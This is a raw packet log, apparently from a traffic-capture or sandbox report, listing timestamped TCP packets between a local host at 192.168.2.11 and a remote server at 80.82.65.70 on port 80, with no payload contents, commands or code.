Dec 12, 2024 16:48:06.466919899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.467015028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.467071056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.467696905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.467816114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.467861891 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.468488932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.468590021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.468646049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.469242096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.469295025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.469326019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.469413042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.470011950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.470144033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.470200062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.470817089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.470880985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.470937967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.471573114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.471628904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.471657038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.471757889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.472393990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.472559929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.472625971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.473208904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.473268032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.473289013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.473417997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.473936081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.474082947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.474142075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.474709988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.474817991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.474833012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.474953890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.475537062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.475645065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.475702047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.476337910 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.476408005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.476464033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.477076054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.477166891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.477225065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.477895021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.478024006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.478080034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.478671074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.478729010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.478779078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.478830099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.479476929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.479579926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.479583025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.479665995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.480247021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.480302095 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.480329037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.480381012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.480971098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.481038094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.481070995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.481120110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.481786013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.481832027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.481851101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.482563972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.482583046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.482615948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.482637882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.483324051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.483372927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.483455896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.483530045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.484112978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.484407902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.484456062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.484869003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.484941959 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.484977961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.485043049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.485692978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.485800028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.485826969 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.485909939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.486495972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.486567020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.486615896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.487287998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.487354994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.487360954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.487453938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.541793108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.541908026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.541943073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.541994095 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.542145967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.542222023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.542337894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.542949915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.543054104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.543142080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.543771982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.544358969 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.577992916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.578072071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.578203917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.578252077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.578330994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.578345060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.578438044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.578705072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.578819990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.578874111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.579473972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.579585075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.579967976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.580352068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.580414057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.580446959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.580513954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.581005096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.581125021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.581176996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.581796885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.581868887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.581908941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.581964016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.582591057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.582741976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.582971096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.583069086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.583463907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.583542109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.583571911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.583647013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.584167957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.584225893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.584290028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.584367037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.584942102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.584949970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.585001945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.585835934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.585885048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.585892916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.585995913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.586546898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.586597919 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.586702108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.586817980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.587272882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.587341070 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.587368965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.587446928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.588145018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.588222980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.588289022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.588850975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.588927031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.589653969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.589740992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.589802027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.590437889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.590442896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.590493917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.591372967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.591422081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.591506958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.591557980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.592149019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.592187881 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.592242956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.592772961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.592879057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.592932940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.657267094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.657382011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.657496929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.657548904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.657663107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.657812119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.658052921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.658449888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.658509016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.658524036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.658623934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.659292936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.659379959 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.659447908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.659538031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.660016060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.660131931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.660141945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.660239935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.660787106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.660923958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.660984993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.661864042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.661941051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.661995888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.662332058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.662404060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.662456036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.663114071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.663177013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.663243055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.663301945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.663930893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.664033890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.664088964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.664666891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.664778948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.664784908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.665184021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.665458918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.665591002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.665623903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.665662050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.666253090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.666340113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.666378021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.666434050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.667018890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.667073011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.667102098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.667190075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.667856932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.667967081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.668001890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.668018103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.668620110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.668677092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.668704033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.668776035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.669625044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.669682026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.669800043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.669856071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.670265913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.670321941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.670346975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.670423031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.670995951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.671082020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.671134949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.671756983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.671763897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.672542095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.672607899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.672641993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.672831059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.673305035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.673355103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.673383951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.673433065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.674149036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.674196959 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.674206972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.674298048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.674877882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.674935102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.674972057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.675023079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.675657034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.675860882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.675936937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.676456928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.676517963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.676604033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.677231073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.677341938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.677596092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.677998066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.678158045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.678251982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.678798914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.678889036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.678950071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.679548025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.679600954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.681863070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.734006882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.734181881 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.734199047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.734281063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.734323978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.734335899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.734407902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.734611034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.735048056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.735106945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.735157967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.735867977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.735951900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.770395994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.770461082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.770592928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.770592928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.770744085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.770792007 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.770828962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.770889997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.771516085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.771620035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.771702051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.772253036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.772670031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.772681952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.772737026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.772772074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.773091078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.773148060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.773214102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.773267031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.773869991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.773972034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.774022102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.774622917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.774842024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.775039911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.775448084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.775509119 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.775568962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.775620937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.776263952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.776426077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.776520967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.776995897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.777096987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.777117014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.777307034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.777827978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.777883053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.777911901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.777982950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.778532982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.778604984 CET	49819	80	192.168.2.11	80.82.65.70
